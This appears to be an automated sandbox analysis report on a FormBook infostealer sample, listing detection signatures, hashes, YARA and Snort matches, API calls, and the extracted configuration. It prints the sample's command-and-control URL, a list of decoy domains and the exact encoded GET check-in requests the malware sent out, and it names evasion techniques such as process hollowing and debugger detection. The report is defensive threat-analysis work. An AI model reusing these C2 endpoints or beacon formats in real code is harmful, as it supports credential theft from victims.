Analysis Report 4oItdZkNOZ.exe

Overview

General Information

Sample Name: 4oItdZkNOZ.exe
Analysis ID: 385307
MD5: 36cf33e57ccccf3754b57ab14e623e57
SHA1: f54422966fd1e5f8180f618a51c938372d3711be
SHA256: 9914c8ad9ea0318f57214c6eb2f2e3f891b71ba054a9de071432ec92eb6bfe0d
Tags: exeFormbook
Infos:

Most interesting Screenshot:

Detection

FormBook
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus detection for URL or domain
Detected unpacking (changes PE section rights)
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
System process connects to network (likely due to code injection or exploit)
Yara detected FormBook
C2 URLs / IPs found in malware configuration
Contains functionality to prevent local Windows debugging
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Queues an APC in another process (thread injection)
Sample uses process hollowing technique
Tries to detect virtualization through RDTSC time measurements
Antivirus or Machine Learning detection for unpacked file
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to dynamically determine API calls
Contains functionality to read the PEB
Contains functionality to shutdown / reboot the system
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Enables debug privileges
Found inlined nop instructions (likely shell or obfuscated code)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains sections with non-standard names
PE file contains strange resources
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

AV Detection:

barindex
Antivirus detection for URL or domain
Source: http://www.aksharnewtown.com/hx3a/?yvLp6=UKCdSLR+lyrQbbbCP2MhlUsk7yfSGMFZEurQt1OYEDE1Z8eZbIDIkuaz0L4nWes64WGYrYxAqg==&6l=t8eTzfA8rB7py Avira URL Cloud: Label: malware
Source: http://www.alliedcds.com/hx3a/?6l=t8eTzfA8rB7py&yvLp6=3BonITYdxMn0gLM+WELVYgnSp+qYa6n19HgYUH50ozUw04GLDm+bjpbdD44/kvkXlDtuAUMMsA== Avira URL Cloud: Label: malware
Found malware configuration
Source: 00000003.00000002.604139164.0000000002B50000.00000040.00000001.sdmp Malware Configuration Extractor: FormBook {"C2 list": ["www.th0rgramm.com/hx3a/"], "decoy": ["xn--ol-xia.com", "gracieleesgiftsandmore.com", "invenufas.com", "nexgencoder.com", "virginiabrightseleccion.com", "selectenergyservicestx.com", "warchocki.com", "xn--comercialvioo-tkb.website", "losangelesbraiders.com", "skaraonline.com", "freeworldsin.com", "jabberjawmobile.com", "orgoneartist.com", "xyfzfl.com", "arooko.com", "investmentpartners.limited", "ugonget.com", "ringforklift.com", "recovatek.com", "bukannyaterbuai24.com", "formula-kuhni.com", "cyfss.com", "stkify.com", "aksharnewtown.com", "libroricardoanaya.com", "phillhutt.com", "mywinnersworld.com", "school17obn.com", "cocoshop.info", "netzcorecloud.com", "bookbeachchairs.com", "summitsolutionsnow.com", "yakudatsu-hikaku.com", "elitedrive.net", "jjwheelerphotography.com", "motcamket.com", "hatikuturkila.com", "tonton-koubou.com", "roughcuttavernorder.com", "leagueofconsciouscreatives.com", "worldsabroad.com", "ezmodafinil.com", "apettelp.club", "xn--jvrr98g37n88d.com", "gobiodisc.com", "alliedcds.com", "jillspickles.com", "alfenas.info", "herbalyesman.xyz", "sugary-sweet.com", "rigscart.com", "curiget.xyz", "stacksyspro.net", "sxqyws.net", "solocubiertos.com", "actuualizarinfruma.com", "thecurmudgeonsspeakout.com", "paydaegitimkurumlari.com", "sellingdealsinheels.com", "dezhou8.xyz", "thelitigatorsbookclub.com", "rainbowsdepot.com", "serenityislegalveston.com", "contactredzonetalent.com"]}
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\nsv773C.tmp\m9c3uhgbfqo.dll ReversingLabs: Detection: 10%
Multi AV Scanner detection for submitted file
Source: 4oItdZkNOZ.exe Virustotal: Detection: 30% Perma Link
Source: 4oItdZkNOZ.exe ReversingLabs: Detection: 33%
Yara detected FormBook
Source: Yara match File source: 00000003.00000002.604139164.0000000002B50000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.603084616.0000000000300000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.388146852.00000000009F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.350827650.00000000026A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000001.345961312.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.387799349.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.387989609.00000000006A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 1.2.4oItdZkNOZ.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.1.4oItdZkNOZ.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.1.4oItdZkNOZ.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.4oItdZkNOZ.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.4oItdZkNOZ.exe.26a0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.4oItdZkNOZ.exe.26a0000.2.unpack, type: UNPACKEDPE
Antivirus or Machine Learning detection for unpacked file
Source: 1.2.4oItdZkNOZ.exe.400000.0.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 1.1.4oItdZkNOZ.exe.400000.0.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 0.2.4oItdZkNOZ.exe.26a0000.2.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 3.2.cscript.exe.4784e8.2.unpack Avira: Label: TR/Patched.Ren.Gen
Source: 3.2.cscript.exe.4f57960.5.unpack Avira: Label: TR/Patched.Ren.Gen

Compliance:

barindex
Uses 32bit PE files
Source: 4oItdZkNOZ.exe Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
Source: Binary string: cscript.pdbUGP source: 4oItdZkNOZ.exe, 00000001.00000002.388207380.0000000000A60000.00000040.00000001.sdmp
Source: Binary string: wscui.pdbUGP source: explorer.exe, 00000002.00000000.366018539.0000000007AA0000.00000002.00000001.sdmp
Source: Binary string: wntdll.pdbUGP source: 4oItdZkNOZ.exe, 00000000.00000003.341988783.000000001EFD0000.00000004.00000001.sdmp, 4oItdZkNOZ.exe, 00000001.00000002.388229067.0000000000B10000.00000040.00000001.sdmp, cscript.exe, 00000003.00000002.604526316.0000000004B3F000.00000040.00000001.sdmp
Source: Binary string: wntdll.pdb source: 4oItdZkNOZ.exe, cscript.exe
Source: Binary string: cscript.pdb source: 4oItdZkNOZ.exe, 00000001.00000002.388207380.0000000000A60000.00000040.00000001.sdmp
Source: Binary string: wscui.pdb source: explorer.exe, 00000002.00000000.366018539.0000000007AA0000.00000002.00000001.sdmp
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 0_2_00405301 DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,SetFileAttributesA,RemoveDirectoryA, 0_2_00405301
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 0_2_00405C94 SetErrorMode,SetErrorMode,FindFirstFileA,SetErrorMode,FindClose, 0_2_00405C94
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 0_2_004026BC FindFirstFileA, 0_2_004026BC

Software Vulnerabilities:

barindex
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 4x nop then pop edi 1_2_0040C3C1
Source: C:\Windows\SysWOW64\cscript.exe Code function: 4x nop then pop edi 3_2_02B5C3C1

Networking:

barindex
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Source: Traffic Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.6:49697 -> 34.102.136.180:80
Source: Traffic Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.6:49697 -> 34.102.136.180:80
Source: Traffic Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.6:49697 -> 34.102.136.180:80
Source: Traffic Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.6:49713 -> 172.67.210.123:80
Source: Traffic Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.6:49713 -> 172.67.210.123:80
Source: Traffic Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.6:49713 -> 172.67.210.123:80
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: www.th0rgramm.com/hx3a/
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /hx3a/?6l=t8eTzfA8rB7py&yvLp6=fCmUcBRhMrUy3w+kl11B/xiypSW2fUD8cU7Pu3gqArK5c3pJn3j9k/DsIYu7GSRGk0uMV4XXlw== HTTP/1.1Host: www.recovatek.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /hx3a/?6l=t8eTzfA8rB7py&yvLp6=3BonITYdxMn0gLM+WELVYgnSp+qYa6n19HgYUH50ozUw04GLDm+bjpbdD44/kvkXlDtuAUMMsA== HTTP/1.1Host: www.alliedcds.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /hx3a/?yvLp6=brq1n3aPok8cFP+QyTVVGry8TF4KLIKYulSDbrE0IIbdXAl5b54voPCnFdnaruz10AJ9JKXZsg==&6l=t8eTzfA8rB7py HTTP/1.1Host: www.investmentpartners.limitedConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /hx3a/?6l=t8eTzfA8rB7py&yvLp6=gkm2pEh8KEmpulawdvJ1V43zAdeU214KS2HTFZoK2O2SsOEqfkF7FZJwvCYR1UF8Rs6N914p1Q== HTTP/1.1Host: www.stacksyspro.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /hx3a/?yvLp6=UKCdSLR+lyrQbbbCP2MhlUsk7yfSGMFZEurQt1OYEDE1Z8eZbIDIkuaz0L4nWes64WGYrYxAqg==&6l=t8eTzfA8rB7py HTTP/1.1Host: www.aksharnewtown.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /hx3a/?6l=t8eTzfA8rB7py&yvLp6=vULSFbXUfWqfH/UQKANXmh//LRVD9fF+bm7wgJ2FfsCiVE70xyhWGRMHpQ9kpTkv8g1Bmau5WA== HTTP/1.1Host: www.tonton-koubou.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /hx3a/?yvLp6=caEAE6TOQuxSMBR5BS8nf+GDaIfP+W5I+A7g/UPOg7+JEug9q1NgoLt4ZSWomvYtgt6I+7SvKg==&6l=t8eTzfA8rB7py HTTP/1.1Host: www.formula-kuhni.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /hx3a/?yvLp6=o+3wYjNifdE6FKE0bOiznyo8jGn7vjVVrJpNZHKkq7PaCapngpRQoMcVskl66UoDGo5EztP+UQ==&6l=t8eTzfA8rB7py HTTP/1.1Host: www.xn--ol-xia.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /hx3a/?6l=t8eTzfA8rB7py&yvLp6=qBahC4CKT3yOn5twSoz5N4YsmdYqg0jdF6L89PfdPPedh7rnw+4FXiJe9HO6V7yUZIpJ8/Yz5A== HTTP/1.1Host: www.ugonget.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /hx3a/?yvLp6=cNQmpavEJfLRVSDxdHUFAARwayWBvklnexOaeKif2gi+yGNN3QCAF1RUuDonfjyO2vX8uvakBQ==&6l=t8eTzfA8rB7py HTTP/1.1Host: www.jabberjawmobile.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /hx3a/?6l=t8eTzfA8rB7py&yvLp6=tI3SrGzIvW6pivz42JGLXvW3gzDpE2zUYLW8n1w7wouCbacCZl2dqvUI+ajsT2GFRHOaP55G6g== HTTP/1.1Host: www.yakudatsu-hikaku.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 23.227.38.74 23.227.38.74
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: INTERQGMOInternetIncJP INTERQGMOInternetIncJP
Source: Joe Sandbox View ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View ASN Name: WEBHOST1-ASRU WEBHOST1-ASRU
Source: global traffic HTTP traffic detected: GET /hx3a/?6l=t8eTzfA8rB7py&yvLp6=fCmUcBRhMrUy3w+kl11B/xiypSW2fUD8cU7Pu3gqArK5c3pJn3j9k/DsIYu7GSRGk0uMV4XXlw== HTTP/1.1Host: www.recovatek.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /hx3a/?6l=t8eTzfA8rB7py&yvLp6=3BonITYdxMn0gLM+WELVYgnSp+qYa6n19HgYUH50ozUw04GLDm+bjpbdD44/kvkXlDtuAUMMsA== HTTP/1.1Host: www.alliedcds.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /hx3a/?yvLp6=brq1n3aPok8cFP+QyTVVGry8TF4KLIKYulSDbrE0IIbdXAl5b54voPCnFdnaruz10AJ9JKXZsg==&6l=t8eTzfA8rB7py HTTP/1.1Host: www.investmentpartners.limitedConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /hx3a/?6l=t8eTzfA8rB7py&yvLp6=gkm2pEh8KEmpulawdvJ1V43zAdeU214KS2HTFZoK2O2SsOEqfkF7FZJwvCYR1UF8Rs6N914p1Q== HTTP/1.1Host: www.stacksyspro.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /hx3a/?yvLp6=UKCdSLR+lyrQbbbCP2MhlUsk7yfSGMFZEurQt1OYEDE1Z8eZbIDIkuaz0L4nWes64WGYrYxAqg==&6l=t8eTzfA8rB7py HTTP/1.1Host: www.aksharnewtown.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /hx3a/?6l=t8eTzfA8rB7py&yvLp6=vULSFbXUfWqfH/UQKANXmh//LRVD9fF+bm7wgJ2FfsCiVE70xyhWGRMHpQ9kpTkv8g1Bmau5WA== HTTP/1.1Host: www.tonton-koubou.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /hx3a/?yvLp6=caEAE6TOQuxSMBR5BS8nf+GDaIfP+W5I+A7g/UPOg7+JEug9q1NgoLt4ZSWomvYtgt6I+7SvKg==&6l=t8eTzfA8rB7py HTTP/1.1Host: www.formula-kuhni.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /hx3a/?yvLp6=o+3wYjNifdE6FKE0bOiznyo8jGn7vjVVrJpNZHKkq7PaCapngpRQoMcVskl66UoDGo5EztP+UQ==&6l=t8eTzfA8rB7py HTTP/1.1Host: www.xn--ol-xia.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /hx3a/?6l=t8eTzfA8rB7py&yvLp6=qBahC4CKT3yOn5twSoz5N4YsmdYqg0jdF6L89PfdPPedh7rnw+4FXiJe9HO6V7yUZIpJ8/Yz5A== HTTP/1.1Host: www.ugonget.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /hx3a/?yvLp6=cNQmpavEJfLRVSDxdHUFAARwayWBvklnexOaeKif2gi+yGNN3QCAF1RUuDonfjyO2vX8uvakBQ==&6l=t8eTzfA8rB7py HTTP/1.1Host: www.jabberjawmobile.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /hx3a/?6l=t8eTzfA8rB7py&yvLp6=tI3SrGzIvW6pivz42JGLXvW3gzDpE2zUYLW8n1w7wouCbacCZl2dqvUI+ajsT2GFRHOaP55G6g== HTTP/1.1Host: www.yakudatsu-hikaku.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: unknown DNS traffic detected: queries for: www.recovatek.com
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 12 Apr 2021 08:04:03 GMTContent-Type: text/html; charset=iso-8859-1Content-Length: 19Connection: closeData Raw: 34 30 34 20 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: 404 File not found.
Source: explorer.exe, 00000002.00000000.369274696.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://fontfabrik.com
Source: explorer.exe, 00000002.00000000.369274696.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: explorer.exe, 00000002.00000002.603524845.000000000095C000.00000004.00000020.sdmp String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: explorer.exe, 00000002.00000000.369274696.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.carterandcone.coml
Source: explorer.exe, 00000002.00000000.369274696.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com
Source: explorer.exe, 00000002.00000000.369274696.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers
Source: explorer.exe, 00000002.00000000.369274696.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers/?
Source: explorer.exe, 00000002.00000000.369274696.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: explorer.exe, 00000002.00000000.369274696.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: explorer.exe, 00000002.00000000.369274696.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers8
Source: explorer.exe, 00000002.00000000.369274696.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers?
Source: explorer.exe, 00000002.00000000.369274696.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designersG
Source: explorer.exe, 00000002.00000000.369274696.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.fonts.com
Source: explorer.exe, 00000002.00000000.369274696.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.founder.com.cn/cn
Source: explorer.exe, 00000002.00000000.369274696.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: explorer.exe, 00000002.00000000.369274696.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: explorer.exe, 00000002.00000000.369274696.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: explorer.exe, 00000002.00000000.369274696.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: explorer.exe, 00000002.00000000.369274696.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.goodfont.co.kr
Source: explorer.exe, 00000002.00000000.369274696.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: explorer.exe, 00000002.00000000.369274696.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.sajatypeworks.com
Source: explorer.exe, 00000002.00000000.369274696.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.sakkal.com
Source: explorer.exe, 00000002.00000000.369274696.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.sandoll.co.kr
Source: explorer.exe, 00000002.00000000.369274696.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.tiro.com
Source: explorer.exe, 00000002.00000000.369274696.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.typography.netD
Source: explorer.exe, 00000002.00000000.369274696.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.urwpp.deDPlease
Source: explorer.exe, 00000002.00000000.369274696.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.zhongyicts.com.cn
Source: cscript.exe, 00000003.00000002.605431320.00000000050D2000.00000004.00000001.sdmp String found in binary or memory: https://www.yakudatsu-hikaku.com/hx3a/?6l=t8eTzfA8rB7py&yvLp6=tI3SrGzIvW6pivz42JGLXvW3gzDpE2zUYLW8n1

Key, Mouse, Clipboard, Microphone and Screen Capturing:

barindex
Contains functionality for read data from the clipboard
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 0_2_00404EA0 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,lstrlenA,GlobalUnlock,SetClipboardData,CloseClipboard, 0_2_00404EA0

E-Banking Fraud:

barindex
Yara detected FormBook
Source: Yara match File source: 00000003.00000002.604139164.0000000002B50000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.603084616.0000000000300000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.388146852.00000000009F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.350827650.00000000026A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000001.345961312.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.387799349.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.387989609.00000000006A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 1.2.4oItdZkNOZ.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.1.4oItdZkNOZ.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.1.4oItdZkNOZ.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.4oItdZkNOZ.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.4oItdZkNOZ.exe.26a0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.4oItdZkNOZ.exe.26a0000.2.unpack, type: UNPACKEDPE

System Summary:

barindex
Malicious sample detected (through community Yara rule)
Source: 00000003.00000002.604139164.0000000002B50000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000002.604139164.0000000002B50000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000002.603084616.0000000000300000.00000004.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000002.603084616.0000000000300000.00000004.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000002.388146852.00000000009F0000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000001.00000002.388146852.00000000009F0000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.350827650.00000000026A0000.00000004.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000000.00000002.350827650.00000000026A0000.00000004.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000001.345961312.0000000000400000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000001.00000001.345961312.0000000000400000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000002.387799349.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000001.00000002.387799349.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000002.387989609.00000000006A0000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000001.00000002.387989609.00000000006A0000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.4oItdZkNOZ.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 1.2.4oItdZkNOZ.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 1.1.4oItdZkNOZ.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 1.1.4oItdZkNOZ.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 1.1.4oItdZkNOZ.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 1.1.4oItdZkNOZ.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.4oItdZkNOZ.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 1.2.4oItdZkNOZ.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.4oItdZkNOZ.exe.26a0000.2.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0.2.4oItdZkNOZ.exe.26a0000.2.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.4oItdZkNOZ.exe.26a0000.2.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0.2.4oItdZkNOZ.exe.26a0000.2.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Contains functionality to call native functions
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_004181C0 NtCreateFile, 1_2_004181C0
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00418270 NtReadFile, 1_2_00418270
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_004182F0 NtClose, 1_2_004182F0
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_004183A0 NtAllocateVirtualMemory, 1_2_004183A0
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_004182EA NtClose, 1_2_004182EA
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_0041839A NtAllocateVirtualMemory, 1_2_0041839A
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B798F0 NtReadVirtualMemory,LdrInitializeThunk, 1_2_00B798F0
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B79860 NtQuerySystemInformation,LdrInitializeThunk, 1_2_00B79860
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B79840 NtDelayExecution,LdrInitializeThunk, 1_2_00B79840
